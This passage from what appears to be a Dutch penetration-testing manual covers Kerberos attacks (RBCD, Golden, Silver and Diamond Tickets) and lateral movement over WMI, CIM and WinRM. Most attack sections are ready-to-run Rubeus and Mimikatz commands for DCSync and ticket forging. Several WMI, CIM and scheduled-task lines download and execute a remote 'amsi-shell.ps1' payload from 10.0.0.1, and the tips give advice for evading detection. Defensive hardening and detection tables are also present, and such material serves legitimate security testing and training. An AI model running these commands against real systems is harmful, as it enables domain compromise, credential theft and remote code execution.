# Vereiste: GenericWrite/GenericAll op target computer object
# ============================================================

# Stap 1: Maak fake machine account aan
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount YOURPC `
    -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) `
    -Verbose

# Stap 2: Bereken RC4 hash van machine account
.\Rubeus.exe hash /password:Password123! /user:YOURPC$ /domain:domain.local

# Stap 3: Configureer RBCD
Import-Module .\PowerView.ps1
Set-ADComputer target$ -PrincipalsAllowedToDelegateToAccount YOURPC$

# Of met PowerView (uitgebreide methode):
Set-DomainObject -Identity 'TARGET$' -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=(
        New-Object Security.AccessControl.RawSecurityDescriptor(
            'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-DOMAIN-SID-YOURPC_RID)'
        )
    ).GetBinaryForm(0,(New-Object byte[] 1024),0)
} -Verbose

# Stap 4: S4U aanval met fake machine account
.\Rubeus.exe s4u /user:YOURPC$ /rc4:HASH_HERE `
    /impersonateuser:Administrator `
    /msdsspn:cifs/target.domain.local /ptt

# Stap 5: Verifieer
ls \\target.domain.local\c$

De stappen uitgelegd:

  1. Fake machine account – Standaard mag elke domain user tot 10 machine accounts aanmaken (de ms-DS-MachineAccountQuota, standaard waarde: 10). Powermad maakt dit eenvoudig.

  2. Hash berekenen – Je kent het wachtwoord van je fake account, dus je kunt de RC4-hash berekenen. Dit is nodig voor de S4U-aanval.

  3. RBCD configureren – Je stelt het attribuut in op het doelcomputer object. “YOURPC$ mag namens anderen delegeren naar TARGET$.”

  4. S4U aanval – Rubeus voert S4U2Self en S4U2Proxy uit met je fake machine account, impersonating Administrator.

  5. Toegang – Je hebt nu een service ticket als Administrator voor de doelcomputer.

George zou zeggen: “Laat me dit samenvatten. Microsoft laat elke willekeurige domain user tien computers aanmaken in Active Directory. En als je schrijfrechten hebt op een bestaande computer, kun je die nieuwe computer vertellen: ‘Jij mag doen alsof je de baas bent.’ En dan doet hij alsof hij de baas is. Dit is geen beveiligingslek, dit is een architectuurbeslissing. Iemand heeft hier bewust voor gekozen. In een vergadering. Met koffie en koekjes.”

8.10 Golden Ticket: De Kroon

8.10.1 Het Concept

Een Golden Ticket is een vervalst TGT. Omdat het TGT versleuteld is met de hash van het krbtgt-account, en je die hash hebt (via DCSync), kun je TGTs aanmaken voor elke gebruiker, met elke groepslidmaatschap, met elke levensduur die je wilt.

Het is de ultieme persistentiemethode: zelfs als alle wachtwoorden gereset worden, blijft je Golden Ticket geldig. De enige manier om het ongeldig te maken is het krbtgt-wachtwoord twee keer te resetten (vanwege het wachtwoordgeschiedenis-mechanisme).

Vergelijk het met het namaken van de grote zegel van een koninkrijk. Elk document dat je er mee stempelt, wordt automatisch als authentiek beschouwd. En de enige manier om de vervalsingen te stoppen is het ontwerp van de zegel te veranderen – maar dan worden ook alle echte documenten ongeldig.

8.10.2 Golden Ticket in de Praktijk

IB Command: kerb_golden_ticket

# ============================================================
# Golden Ticket - TGT forgery met krbtgt hash
# Vereiste: krbtgt hash (via DCSync = DA nodig)
# ============================================================

# Stap 1: krbtgt hash + domain SID ophalen via DCSync
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:domain\krbtgt" "exit"

# Of:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

# Stap 2: Golden Ticket aanmaken + injecteren (AES256 = meer opsec)
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /aes256:KRBTGT_AES256_KEY `
    /startoffset:0 /endin:600 /renewmax:10080 `
    /ptt" "exit"

# Met RC4 (minder opsec, meer compatibel):
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /rc4:KRBTGT_NTLM_HASH `
    /id:500 /groups:512 `
    /startoffset:0 /endin:600 /renewmax:10080 `
    /ptt" "exit"

# Stap 3: Verifieer toegang
ls \\dc01.domain.local\c$
# Via Rubeus (opslaan als .kirbi):
.\Rubeus.exe golden /aes256:KRBTGT_AES256_KEY `
    /user:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /nowrap

Parameters uitgelegd:

Parameter Betekenis
/User:Administrator Gebruiker om te impersoneren
/domain:domain.local Domeinnaam
/sid:S-1-5-21-... Domain SID
/aes256: of /rc4: krbtgt sleutel
/id:500 RID van Administrator
/groups:512 RID van Domain Admins
/startoffset:0 Ticket start nu
/endin:600 Geldig voor 600 minuten (10 uur)
/renewmax:10080 Vernieuwbaar voor 7 dagen
/ptt Pass-the-Ticket (direct injecteren)

Opsec overwegingen:

Let op: Een Golden Ticket is onzichtbaar voor de DC bij het aanvragen van Service Tickets. Het TGT wordt niet gevalideerd bij de DC – de DC vertrouwt erop dat het TGT geldig is omdat het versleuteld is met de krbtgt hash. Pas bij PAC-validatie (als die is ingeschakeld) kan het gedetecteerd worden.

8.11 Silver Ticket: De Specialist

8.11.1 Het Concept

Waar een Golden Ticket een vervalst TGT is (toegang tot alles), is een Silver Ticket een vervalst Service Ticket (toegang tot een specifieke service). Je hebt de hash van het service account nodig – vaak het machine account van de doelserver.

Het voordeel? Een Silver Ticket raakt de DC helemaal niet. Het wordt direct gepresenteerd aan de service, die het valideert met zijn eigen hash. Geen netwerkverkeer naar de DC, geen logboekregistratie op de DC.

Het nadeel? Het is per-service. Je hebt een apart Silver Ticket nodig voor elke service die je wilt benaderen.

8.11.2 Silver Ticket in de Praktijk

IB Command: kerb_silver_ticket

# ============================================================
# Silver Ticket - TGS forgery met service account hash
# Geen interactie met DC nodig = moeilijker te detecteren
# ============================================================

# Stap 1: Service account hash ophalen (bijv. machine account)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\target$"'

# === CIFS service (file share access) ===
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /target:target-dc.domain.local `
    /service:CIFS `
    /rc4:MACHINE_HASH `
    /startoffset:0 /endin:600 /renewmax:10080 `
    /ptt" "exit"

ls \\target-dc.domain.local\c$

# === HOST service (scheduled task, WMI) ===
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /target:target-dc.domain.local `
    /service:HOST `
    /rc4:MACHINE_HASH `
    /ptt" "exit"

schtasks /create /S target-dc.domain.local /SC Weekly `
    /RU "NT Authority\SYSTEM" /TN "STCheck" `
    /TR "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')"

Beschikbare services en hun toepassingen:

Service Gebruik Wat je ermee kunt
CIFS File shares ls \\target\c$, bestanden lezen/schrijven
HOST Management Scheduled tasks, WMI queries
LDAP Directory AD-queries, DCSync (op DC)
WSMAN Remoting PowerShell Remoting (Enter-PSSession)
HTTP Web Webservices, IIS
MSSQL Database SQL Server toegang
RPCSS RPC Remote procedure calls

Opmerking: “Het verschil tussen een Golden Ticket en een Silver Ticket is als het verschil tussen een loper die alle deuren opent en een sleutel die maar een deur opent. Het klinkt alsof de loper altijd beter is, maar de sleutel heeft een voordeel: de receptionist merkt niet dat je binnengekomen bent.”

8.12 Diamond Ticket: De Onzichtbare

8.12.1 Het Concept

Diamond Tickets zijn de evolutie van Golden Tickets. Het verschil is fundamenteel: een Golden Ticket creëert een nieuw TGT uit het niets. Een Diamond Ticket modificeert een bestaand, legitiem TGT.

Waarom is dit belangrijk? Omdat een Golden Ticket opvalt bij geavanceerde detectie. Het TGT heeft geen bijbehorend AS-REQ in de logboeken van de DC – het is verschenen uit het niets. Een Diamond Ticket daarentegen is gebaseerd op een echt TGT dat via een echte AS-REQ is verkregen. Het enige verschil is dat de PAC (Privilege Attribute Certificate) binnenin gewijzigd is om je verhoogde rechten te geven.

Het is het verschil tussen een vervalst bankbiljet (Golden Ticket) en een echt bankbiljet waarvan het bedrag is gewijzigd (Diamond Ticket). Het eerste kun je herkennen aan het ontbrekende watermerk. Het tweede heeft het watermerk wel – alleen het bedrag klopt niet.

8.12.2 Diamond Ticket in de Praktijk

IB Command: kerb_diamond_ticket

# ============================================================
# Diamond Ticket - TGT modification (meer opsec dan Golden Ticket)
# Verschil: Diamond modificeert een ECHT TGT, Golden maakt een nieuwe
# Voordeel: Ticket heeft echte PAC, moeilijker te detecteren
# ============================================================

# Met user credentials:
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY `
    /user:currentuser /password:Password123! `
    /enctype:aes `
    /ticketuser:Administrator `
    /domain:domain.local `
    /dc:dc01.domain.local `
    /ticketuserid:500 /groups:512 `
    /createnetonly:C:\Windows\System32\cmd.exe `
    /show /ptt

# Met TGT delegation (geen wachtwoord nodig, meer stealth):
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY `
    /tgtdeleg `
    /enctype:aes `
    /ticketuser:Administrator `
    /domain:domain.local `
    /dc:dc01.domain.local `
    /ticketuserid:500 /groups:512 `
    /createnetonly:C:\Windows\System32\cmd.exe `
    /show /ptt

# Met NTLM hash in plaats van wachtwoord:
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY `
    /user:currentuser /rc4:USER_NTLM_HASH `
    /enctype:aes `
    /ticketuser:Administrator `
    /domain:domain.local `
    /dc:dc01.domain.local `
    /ticketuserid:500 /groups:512 `
    /ptt

Parameters:

Parameter Betekenis
/krbkey: De AES256 key van krbtgt (via DCSync)
/user: + /password: Credentials voor de echte AS-REQ
/tgtdeleg Gebruik TGT delegation i.p.v. credentials
/enctype:aes Gebruik AES encryptie
/ticketuser:Administrator Wie je wilt impersoneren in de PAC
/ticketuserid:500 RID van Administrator
/groups:512 RID van Domain Admins
/createnetonly: Maak een apart logon session aan

Waarom Diamond Ticket superieur is:

Eigenschap Golden Ticket Diamond Ticket
Basis Nieuw vervalst TGT Gemodificeerd echt TGT
AS-REQ in logs Nee Ja
PAC Volledig vervalst Gemodificeerde echte PAC
Detectie door PAC validation Detecteerbaar Moeilijker
Vereiste keys krbtgt hash krbtgt AES key
Complexiteit Laag Medium

George zou zeggen: “Diamond Tickets zijn de goudstandaard voor ticket forgery – wat ironisch is, want het heet geen Golden Ticket. Het is alsof iemand zei: ‘Hoe noemen we de betere versie van het Golden Ticket?’ En iemand anders antwoordde: ‘Diamond, want dat is meer waard.’ En toen realiseerden ze zich dat ze een ticket-juwelier- hiërarchie aan het opbouwen waren. De volgende wordt waarschijnlijk het Platinum Ticket of het NFT Ticket.”

8.13 Vergelijkingstabel: Alle Kerberos Aanvallen

Aanval Input Output Detectie Scope
Kerberoasting Domain user Service account hash TGS-REQ monitoring Per SPN-account
Targeted Kerberoast GenericWrite + domain user Service account hash SPN wijziging + TGS-REQ Per target account
AS-REP Roasting Geen pre-auth account User hash AS-REP monitoring Per kwetsbaar account
Overpass-the-Hash NTLM hash / AES key Kerberos TGT Encryption downgrade Per account
Constrained Delegation Service account hash + CD config Impersonation ticket S4U monitoring Per geconfigureerde service
Unconstrained Delegation Toegang tot UD server Andermans TGT TGT monitoring Onbeperkt (met TGT)
RBCD GenericWrite op computer Impersonation ticket Computer attribuut wijziging Per target computer
Golden Ticket krbtgt hash + domain SID Vervalst TGT PAC validation, ontbrekende AS-REQ Heel domein, onbeperkt
Silver Ticket Service account hash Vervalst Service Ticket PAC validation Per service
Diamond Ticket krbtgt AES key + credentials Gemodificeerd TGT Geavanceerde PAC analyse Heel domein, onbeperkt

8.14 Verdediging: Kerberos Hardenen

8.14.1 Tegen Kerberoasting en AS-REP Roasting

Maatregel Implementatie Effect
Sterke wachtwoorden voor service accounts Minimaal 25+ tekens, random Kraken wordt onhaalbaar
gMSA (Group Managed Service Accounts) Automatisch wachtwoord-management 120+ teken wachtwoorden, auto-rotatie
Pre-authentication verplichten DONT_REQUIRE_PREAUTH uitzetten Blokkeert AS-REP Roasting
AES-only Kerberos RC4 uitschakelen via GPO Vertraagt kraken (AES is zwaarder)
SPN-monitoring Event ID 4769 met onverwachte SPNs Detectie van Kerberoasting
Honey accounts Nep-service accounts met SPN Alerting op Kerberoast-pogingen

8.14.2 Tegen Delegation Abuse

Maatregel Implementatie Effect
Protected Users groep Gevoelige accounts toevoegen Voorkomt delegation
Account is sensitive NOT_DELEGATED flag zetten Per-account delegation blokkade
Machine Account Quota = 0 ms-DS-MachineAccountQuota naar 0 Blokkeert RBCD fake account
Unconstrained Delegation verwijderen Overstappen naar Constrained of RBCD Voorkomt TGT-harvesting
Print Spooler uitschakelen Op Domain Controllers Blokkeert Printer Bug

8.14.3 Tegen Ticket Forgery

Maatregel Implementatie Effect
krbtgt wachtwoord roteren Regelmatig (en 2x bij incident) Invalideert Golden/Diamond Tickets
PAC validation Inschakelen op services Detecteert vervalste PACs
Credential Guard Op alle endpoints Beschermt cached credentials
AES-only encryptie RC4 uitschakelen Verscherpt encryptie-vereisten
Korte ticket lifetimes Maximale TGT lifetime verkorten Beperkt bruikbaarheid van gestolen tickets

8.14.4 Monitoring

Essentiële Event IDs voor Kerberos-detectie:

Event ID Bron Wat het detecteert
4768 DC Security Log AS-REQ (TGT aanvraag)
4769 DC Security Log TGS-REQ (Service Ticket aanvraag)
4770 DC Security Log TGT renewal
4771 DC Security Log Kerberos pre-auth failure
4624 Target Security Log Logon event (Type 3 = network)
5136 DC Security Log Directory Service Changes (ACL)

Detectie-patronen:

# Kerberoasting: veel 4769 events van een enkele bron in korte tijd
# met encryption type 0x17 (RC4) terwijl AES beschikbaar is

# AS-REP Roasting: 4768 events zonder voorafgaande 4771 (geen pre-auth)

# Golden Ticket: 4769 zonder voorafgaande 4768 (TGS zonder TGT-aanvraag)

# Overpass-the-Hash: 4768 met encryption type 0x17 vanuit een modern systeem

# Unconstrained Delegation: 4624 Type 10 (RemoteInteractive) op server
# gevolgd door 4769 events voor andere targets

Let op: Veel van deze detecties vereisen geavanceerde SIEM-correlatie. Een enkel event is zelden verdacht – het is het patroon dat de aanval verraadt. En patronen herkennen vereist dat je weet waarnaar je zoekt.

8.15 Het cynische slotwoord

“Kerberos. Een protocol uit 1988. Negentienhonderdachtentachtig! Reagan was president, de Berlijnse Muur stond er nog, en niemand had een mobiele telefoon. En dit protocol beschermt vandaag de dag de netwerken van de grootste bedrijven ter wereld.

Is het slecht? Nee, het is briljant. Het probleem is niet het protocol – het probleem zijn de mensen die het implementeren. Het is alsof je een Stradivarius-viool geeft aan iemand die Twinkle Twinkle Little Star speelt. Het instrument is niet het probleem.

Kijk naar Kerberoasting. De bedoeling is dat service accounts sterke wachtwoorden hebben. Maar nee, iemand maakt een account aan met het wachtwoord ‘Winter2019!’ en dat account draait vijf jaar later nog steeds, op een productie-server, met Domain Admin-rechten. Waarom? Omdat niemand verantwoordelijk is. De persoon die het account aanmaakte is vertrokken. De persoon die de server beheert weet niet dat het account bestaat. En de persoon die de beveiliging doet, heeft geen budget om er iets aan te doen.

En dan heb je Unconstrained Delegation. ‘Laten we deze server het recht geven om namens iedereen te handelen. Iedereen. Zonder beperking. Wat kan er misgaan?’ Dat is alsof je een medewerker de creditcard van het bedrijf geeft en zegt: ‘Hier, gebruik hem waarvoor je wilt.’ En drie maanden later vraag je je af waarom er een abonnement is op zes streamingdiensten en een bestelling van driehonderd poolnoodles.

Maar het allermooiste? Het allermooiste is het Golden Ticket. Je steelt een hash – niet eens een wachtwoord, een hash – en je hebt voor altijd toegang tot alles. Niet tot een server. Niet tot een applicatie. Tot alles. En de enige manier om dat te stoppen is een wachtwoord twee keer te resetten dat niemand ooit rechtstreeks gebruikt. Het krbtgt-account. Een account zonder inbox, zonder bureaustoel, zonder kerstpakket – maar met de sleutel tot het hele koninkrijk.

Weet je, in het echte leven zou dit een landelijk schandaal zijn. Stel je voor dat de overheid zegt: ‘Er is een sleutel die alle overheidsgebouwen opent, en als iemand die steelt, kunnen we hem niet veranderen.’ De Tweede Kamer zou ontploffen. Maar in IT? In IT zeggen we: ‘Dat staat op de roadmap voor Q3.’ En Q3 wordt Q4. En Q4 wordt ‘volgend jaar.’ En volgend jaar wordt ‘nooit.’

Kerberos is niet het probleem. Wij zijn het probleem.”

8.16 IB Tips & Tricks

Tip 1: Begin altijd met Kerberoasting. Het is de laagste drempel (elke domain user kan het), de minste risico (offline kraken), en levert vaak direct resultaat op. Gebruik Rubeus.exe kerberoast /stats om eerst te inventariseren hoeveel accounts kwetsbaar zijn.

Tip 2: Gebruik de /rc4opsec flag in Rubeus bij Kerberoasting om encryption downgrade detectie te vermijden. In een omgeving met geavanceerde monitoring is dit het verschil tussen ontdekt worden en onzichtbaar blijven.

Tip 3: Als je GenericWrite hebt op accounts, overweeg Targeted Kerberoasting boven directe wachtwoord-reset. Het is stiller: je zet een SPN, haalt de hash op, kraakt offline, en verwijdert de SPN weer. Geen wachtwoord gewijzigd, geen gebruiker die klaagt.

Tip 4: Bij Constrained Delegation, gebruik altijd /altservice om meerdere service-types in een keer te pakken. Een ticket voor cifs/target is nuttig, maar een ticket voor cifs,host,ldap,wsman geeft je volledige controle.

Tip 5: Diamond Tickets zijn de toekomst van ticket forgery. Als je toch al de krbtgt AES key hebt (via DCSync), gebruik Diamond in plaats van Golden. Het kost een paar seconden extra en is significant moeilijker te detecteren.

Tip 6: Vergeet de Printer Bug niet bij Unconstrained Delegation. SpoolSample.exe en PetitPotam.py zijn je beste vrienden. De ene werkt via Print Spooler, de andere via EFS – als de ene geblokkeerd is, probeer de andere.

Tip 7: RBCD is je go-to wanneer je GenericWrite hebt op een computerobject maar geen andere aanvalsvector ziet. Het kost drie stappen (fake account, RBCD configureren, S4U) en levert lokale admin op de doelcomputer.

Tip 8: Monitor altijd of ms-DS-MachineAccountQuota op 0 staat in je doelomgeving voordat je RBCD probeert. Als het op 0 staat, kun je geen fake machine account aanmaken en moet je een bestaand machine account compromitteren.

Tip 9: Leg alles vast in IB’s finding management. Een Kerberoasting- bevinding met een CVSS 4.0 vector, OWASP-categorie (A07 - Identification and Authentication Failures), en screenshots van de gekraakte hash is tien keer overtuigender dan een bullet point in een rapport.

Tip 10: Ruim op! Verwijder SPNs die je gezet hebt. Verwijder de RBCD-configuratie. Verwijder fake machine accounts. Verwijder geinjecteerde tickets met klist purge. Je bent een professional, geen vandaal.

8.17 Referentietabel

Techniek IB Command Tool(s) Vereisten
Kerberoasting kerb_kerberoast Rubeus Domain user
Targeted Kerberoasting kerb_targeted_kerberoast PowerView, Rubeus GenericWrite op target
AS-REP Roasting kerb_asreproast Rubeus, PowerView Domain user (of GenericWrite)
Overpass-the-Hash kerb_opth Mimikatz, Rubeus NTLM hash of AES key
Constrained Delegation kerb_constrained PowerView, Rubeus Hash van CD-account
Unconstrained Delegation kerb_unconstrained Rubeus, SpoolSample Toegang tot UD-server
RBCD kerb_rbcd Powermad, PowerView, Rubeus GenericWrite op computer
Golden Ticket kerb_golden_ticket Mimikatz, Rubeus krbtgt hash (DCSync)
Silver Ticket kerb_silver_ticket Mimikatz Service account hash
Diamond Ticket kerb_diamond_ticket Rubeus krbtgt AES key + credentials

8.18 De Kerberos Aanvalsboom

                     Domain User Account
                            |
              +-------------+-------------+
              |             |             |
        Kerberoasting  AS-REP Roast  ACL Enumeration
              |             |             |
        Crack Hash    Crack Hash    GenericWrite?
              |             |             |
        Service        User         +-----+------+
        Account       Account       |            |
        Creds          Creds    Targeted    Set RBCD
              |             |    Kerbroast      |
              +------+------+        |       S4U Attack
                     |          Crack Hash      |
              Overpass-the-Hash      |      Local Admin
                     |               |      on Target
                     +-------+-------+
                             |
                      Lateral Movement
                             |
                     Domain Admin?
                             |
                    +--------+--------+
                    |                 |
               DCSync           Trust Attack
                    |                 |
              +-----+-----+    +-----+-----+
              |     |     |    |           |
           Golden Silver Diamond Child   Cross
           Ticket Ticket Ticket to      Forest
                                Parent

Deze boom toont de typische progressie van een Kerberos-aanval: van een gewone domain user account via credential harvesting en laterale beweging naar volledige domeincompromittering.

In de praktijk is het pad zelden zo lineair. Je combineert technieken uit Hoofdstuk 7 (ACL abuse, DCSync, MSSQL) met technieken uit dit hoofdstuk. BloodHound is je kaart; IB is je gereedschapskist.

Volgend hoofdstuk: we verlaten de Windows-wereld en duiken in de kunst van laterale beweging – hoe je van systeem naar systeem springt als een digitale parkouratleet, met techniques als PSRemoting, WMI, DCOM en meer.

Laterale Beweging

Laterale Beweging

De kunst van het doorsluipen

Er is een heerlijk ouderwets beeld dat je misschien kent uit films over Victoriaanse inbrekers: een dief die niet via de voordeur binnenkomt, maar via de zolder van het ene rijhuis naar het andere klimt. Hij breekt door een dunne muur, kruipt over de balken, en staat ineens in de slaapkamer van de buurman. De politie staat beneden de originele ingang te bewaken, terwijl onze held drie huizen verderop in alle rust de kluis leeghaalt.

Dat is laterale beweging in een notendop.

In de wereld van penetratietesten begint alles met die ene machine. Misschien heb je via phishing een werkstation te pakken gekregen, misschien via een webapplicatie, misschien via een vergeten RDP-poort die nog openstond omdat “we die volgende sprint wel dichtgooien.” Het maakt niet uit. Je hebt een voet tussen de deur. Maar die ene machine is zelden het doel. Het doel is de domain controller, de database server, de fileserver met het intellectueel eigendom, het systeem waarop de salarisadministratie draait.

Om daar te komen moet je bewegen. Lateraal. Van machine naar machine, van subnet naar subnet, totdat je uiteindelijk staat waar je wilt staan.

En het mooie – of het tragische, afhankelijk van je perspectief – is dat de meeste netwerken dit belachelijk makkelijk maken. Want waarom zou je interne firewalls opzetten als iedereen toch te vertrouwen is? Waarom zou je segmenteren als het IT-budget al naar die nieuwe licenties gaat? Waarom zou je monitoren wat er binnen je netwerk gebeurt als je een mooie firewall aan de rand hebt?

Precies.

9.1 Waarom laterale beweging alles verandert

Laten we eerlijk zijn: als aanvaller ben je pas gevaarlijk zodra je kunt bewegen. Eén gecompromitteerd werkstation van een receptionist is vervelend, maar het is niet het einde van de wereld. Maar als die receptionist lokale admin-rechten heeft (en laten we eerlijk zijn, dat heeft ze waarschijnlijk omdat “anders kunnen we die ene printer niet installeren”), en haar wachtwoord wordt hergebruikt op drie andere machines, en die machines staan in hetzelfde VLAN als de domain controller… dan heb je een probleem.

Laterale beweging is het moment waarop een beveiligingsincident transformeert van “vervelend” naar “catastrofaal.” Het is het verschil tussen een gebroken raam en een volledig leeggeroofd huis.

In MITRE ATT&CK-termen zitten we nu in de Lateral Movement tactiek (TA0008). De technieken die we gaan behandelen zijn:

Techniek MITRE ID Poorten
WMI T1047 135 + dynamisch
WinRM / PS Remoting T1021.006 5985, 5986
DCOM T1021.003 135 + dynamisch
Service Control Manager T1543.003 445, 135
PsExec T1569.002 445, 135
SSH T1021.004 22

Elk van deze technieken heeft zijn eigen karakter, zijn eigen vereisten, en – cruciaal – zijn eigen detectieprofiel. Een goede pentester kiest niet zomaar een methode. Een goede pentester kiest de juiste methode voor de situatie.

Een incompetente pentester tikt psexec in en hoopt op het beste. Maar daar zijn we hopelijk voorbij.

9.2 WMI – Windows Management Instrumentation

De stille bureaucraat

WMI is een van die Windows-technologieen die niemand echt begrijpt, maar die al sinds Windows NT 4.0 meedraait. Het is alsof iemand in 1996 heeft gezegd: “We hebben een universeel management-protocol nodig waarmee je alles op afstand kunt doen,” en vervolgens is iedereen vergeten dat het bestaat – behalve aanvallers.

WMI communiceert via RPC op poort 135, gevolgd door dynamische poorten. Het gebruikt het Win32_Process class om processen aan te maken op een remote systeem. En het mooie is: WMI is volledig legitiem. Systeembeheerders gebruiken het dagelijks. Het is het digitale equivalent van de postbode die altijd welkom is – niemand controleert wat hij in zijn tas heeft.

De wmic-methode

De klassieke aanpak is via wmic op de command line:

wmic /node:TARGET_IP /user:DOMAIN\user /password:Password123! process call create "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')"

Dit commando doet precies wat je denkt: het maakt verbinding met het doelsysteem, authenticeert zich met de opgegeven credentials, en start een nieuw proces. In dit geval een PowerShell-proces dat een payload downloadt en uitvoert.

Merk op: je krijgt geen output terug. WMI via Win32_Process Create is blind execution. Je vuurt een commando af en hoopt dat het werkt. Het is alsof je een brief in een brievenbus gooit en wacht tot er iets terugkomt – zonder te weten of de brievenbus überhaupt in gebruik is.

PowerShell WMI

Voor meer controle kun je PowerShell gebruiken met Invoke-WmiMethod:

Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')' `
  -ComputerName TARGET `
  -Credential (Get-Credential)

De PowerShell-variant heeft het voordeel dat je de returnwaarde kunt controleren. Een returnwaarde van 0 betekent succes. Alles anders betekent dat je commando het niet gehaald heeft.

Hash-based WMI met Invoke-WMIExec

Als je geen plaintext wachtwoord hebt maar wel een NTLM hash (en na hoofdstuk 10 zul je er genoeg hebben), kun je Invoke-WMIExec gebruiken:

Import-Module .\Invoke-WMIExec.ps1
Invoke-WMIExec -Target TARGET_IP -Domain DOMAIN `
  -Username user -Hash NTLM_HASH `
  -Command 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')'

Dit is Pass-the-Hash via WMI. Geen wachtwoord nodig, alleen de hash. En als je bedenkt hoeveel organisaties dezelfde lokale admin-wachtwoorden gebruiken op al hun werkstations… ja, dan snap je waarom laterale beweging zo effectief is.

IB – Open het IB command panel en selecteer lateral_wmi. IB vult automatisch je huidige IP in als listener. Je hoeft alleen de target en credentials aan te passen. De drie varianten (wmic, PowerShell, hash-based) staan klaar als templates.

CIM als modern alternatief

Microsoft heeft wmic.exe officieel deprecated verklaard in recente Windows-versies. Het moderne alternatief is CIM (Common Information Model) via PowerShell:

# CIM sessie opzetten (DCOM transport, werkt ook als WinRM uit staat)
$cimSession = New-CimSession -ComputerName TARGET `
  -SessionOption (New-CimSessionOption -Protocol Dcom) `
  -Credential $cred

# Process aanmaken via CIM
Invoke-CimMethod -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine='powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')'} `
  -CimSession $cimSession

Het voordeel van CIM boven WMI: het ondersteunt zowel DCOM- als WinRM-transport. Met DCOM-transport werk je via dezelfde poorten als klassiek WMI (135 + dynamisch), maar met WinRM-transport ga je via poort 5985/5986. Dat geeft je flexibiliteit afhankelijk van wat open staat op het doelsysteem.

# CIM via WinRM transport
$cimSession = New-CimSession -ComputerName TARGET -Credential $cred
# (WinRM is standaard transport als je geen SessionOption opgeeft)

Detectie

WMI-activiteit genereert Event ID 4648 (Explicit Credential Logon) op het doelsysteem, plus Event ID 1 in Sysmon als process creation monitoring aanstaat. Kijk ook naar Event ID 5857 voor WMI provider-activiteit.

Het probleem voor blue teams: WMI is overal. SCCM gebruikt het, monitoring tools gebruiken het, custom scripts gebruiken het. Het scheiden van legitiem en kwaadaardig WMI-verkeer is als het zoeken naar een specifieke zandkorrel op het strand. Je weet dat hij er is, maar je hebt geen idee welke het is.

Specifieke detectie-indicatoren:

Event ID Bron Wat het betekent
4648 Security Expliciete credentials gebruikt
4624 (Type 3) Security Netwerk logon op target
1 Sysmon Process creation (zoek naar WmiPrvSE.exe als parent)
5857 WMI-Activity Provider geladen
5861 WMI-Activity Permanente event subscription

De sleutel voor detectie is de parent process: als je powershell.exe of cmd.exe ziet starten onder WmiPrvSE.exe, dan is dat bijna zeker een WMI-gebaseerde lateral movement.

9.3 WinRM en PowerShell Remoting

Het lievelingetje van systeembeheerders

Als WMI de stille bureaucraat is, dan is WinRM de extraverte projectmanager die overal binnenloopt en zegt: “Hé, laat mij dat even regelen!” Windows Remote Management draait op poort 5985 (HTTP) of 5986 (HTTPS) en is het fundament onder PowerShell Remoting.

En hier wordt het interessant: WinRM is standaard ingeschakeld op alle Windows Server-versies sinds 2012. Op werkstations staat het meestal uit, tenzij iemand het heeft aangezet – wat in veel organisaties het geval is omdat “we PowerShell Remoting nodig hebben voor ons deployment-script.”

Evil-WinRM – De Zwitserse zakmes

Vanuit Linux is Evil-WinRM de go-to tool. Het is de Ferrari onder de WinRM-clients:

# Basisverbinding met wachtwoord
evil-winrm -i TARGET_IP -u user -p 'Password123!'

# Met scripts en executables directory
evil-winrm -i TARGET_IP -u user -p 'Password123!' -s /opt/tools/ -e /opt/tools/

# Pass-the-Hash
evil-winrm -i TARGET_IP -u user -H NTLM_HASH

# Met Kerberos ticket
evil-winrm -i TARGET_IP -r DOMAIN.LOCAL

Evil-WinRM geeft je een volledig interactieve shell met ingebouwde upload/download-functionaliteit, module loading, en zelfs AMSI bypass-opties. Het is de tool waar je naar grijpt als je comfortabel wilt werken op een remote systeem.

IB – Het lateral_winrm command in IB bevat alle Evil-WinRM varianten plus de native Windows winrs-methode. Selecteer de variant die past bij je situatie – wachtwoord, hash of Kerberos ticket.

Windows native: winrs

Als je al op een Windows-systeem zit, kun je winrs gebruiken zonder extra tools:

winrs -r:TARGET -u:DOMAIN\user -p:Password123! "powershell -ep bypass -c whoami;hostname"

Het nadeel van winrs is dat het een enkelvoudig commando uitvoert en de verbinding sluit. Het is alsof je iemand belt, één vraag stelt, en ophangt. Voor een interactieve sessie heb je PowerShell Remoting nodig.

PowerShell Remoting

PowerShell Remoting is gebouwd bovenop WinRM en biedt de meest flexibele laterale beweging die Windows native te bieden heeft:

# Credentials opzetten
$cred = New-Object System.Management.Automation.PSCredential(
    'DOMAIN\user',
    (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
)

# Interactieve sessie
